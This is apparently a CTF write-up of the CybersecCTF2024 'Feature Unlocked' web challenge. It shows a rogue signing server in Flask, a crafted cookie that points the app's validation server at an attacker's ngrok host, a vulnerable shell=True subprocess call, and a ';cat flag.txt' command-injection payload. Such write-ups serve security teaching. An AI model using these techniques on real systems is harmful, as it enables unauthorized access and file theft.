Post

CybersecCTF2024 web/Feature Unlocked

My solution for CybersecCTF web/Feature Unlocked challenge

Challenge overview

This challenge involved exploiting a web application to retrieve a hidden flag. The application was composed of multiple components, including a validation server and a main application with a feature endpoint vulnerable to command injection.

Application architecture

Validation server on port 1338
Generates an ECC key pair and provides the public key via a /pubkey endpoint. It also signs a timestamp with the private key and returns it through the root endpoint (/).

  • Endpoints:
    • /pubkey - returns the publick key in PEM format
    • / - returns a JSON object containing the current timestamp and its signature

Main application on port 1337
Uses the public key from the validation server to verify a signed timestamp. It checks if the current time is beyond a specific release timestamp to unlock a feature.

  • Endpoints:
    • /release - checks if the feature can be unlocked and sets an access_token cookie if verification is successful.
    • /feature - provides access to a feature page, which includes a word count functionality vulnerable to command injection.

Set up a custom validation server

The main application relied on a validation server to verify access. To bypass the time-based feature lock, we set up our own validation server that returned a future timestamp.

Install required libraries:

Ensure python and necessary libraries are installed:
pip install Flask pycryptodome

Create validation server script:

Write a python script to mimic the original validation server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, jsonify
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
import time

app = Flask(__name__)

# Generate ECC key pair
key = ECC.generate(curve='P-256')
pubkey = key.public_key().export_key(format='PEM')

@app.route('/pubkey', methods=['GET'])
def get_pubkey():
    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}

@app.route('/', methods=['GET'])
def index():
    # Set a future timestamp
    future_time = str(int(time.time()) + 8 * 24 * 60 * 60)  # 8 days in the future
    h = SHA256.new(future_time.encode('utf-8'))
    signature = DSS.new(key, 'fips-186-3').sign(h)
    return jsonify({'date': future_time, 'signature': signature.hex()})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1338)

Expose the server:

Use for example ngrok to expose the local server to the internet: ngrok http 1338.
Note the public URL provided by ngrok.

Obtain access token

With the validation server set up, the next step was to obtain an access_token cookie by tricking the main application into using our server.

Encode the preferences cookie to point to our custom validation server:

1
2
3
4
5
6
7
8
9
import base64
import json

preferences = {
    'theme': 'light',
    'language': 'en',
    'validation_server': 'http://<ngrok-url>.ngrok.io'
}
encoded_preferences = base64.b64encode(json.dumps(preferences).encode()).decode()

Send request to /release endpoint:

Use a script or tool like Postman to send a request with the modifed preferences cookie:

1
2
3
4
5
6
7
import requests

url = 'https://feature-unlocked-web.challs.csc.tf/release?debug=true'
cookies = {'preferences': encoded_preferences}

response = requests.get(url, cookies=cookies)
print('Access Token:', response.cookies.get('access_token'))

Verify access token:

Check the response to ensure the access_token cookie was set, indicating successful bypass of the time-based check.

Exploit command injection

With access to the feature page, the focus shifted to exploiting the command injection vulnerability.

The feature endpoint used subprocess.check_output with shell=True, allowing for command injection:

1
2
word_count = f"echo {to_process} | wc -w"
output = subprocess.check_output(word_count, shell=True, text=True)

We can craft injection payload. Use a semicolon to terminate the echo command inject cat flag.txt:
text=;cat flag.txt;test
Intercept the POST request to /feature using Burp Suite, modify text parameter and forward the request.
Check the response for the contents of flag.txt, which contained the flag:
CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}

Conclusion

This challenge demonstrated the critical importance of input validation and the dangers of using shell=True in subprocess calls. By understanding the architecture and exploiting the command injection vulnerability, we successfully retrieved the flag. This serves as a reminder to always sanitize inputs and avoid executing user input directly in shell commands.

This post is licensed under CC BY 4.0 by the author.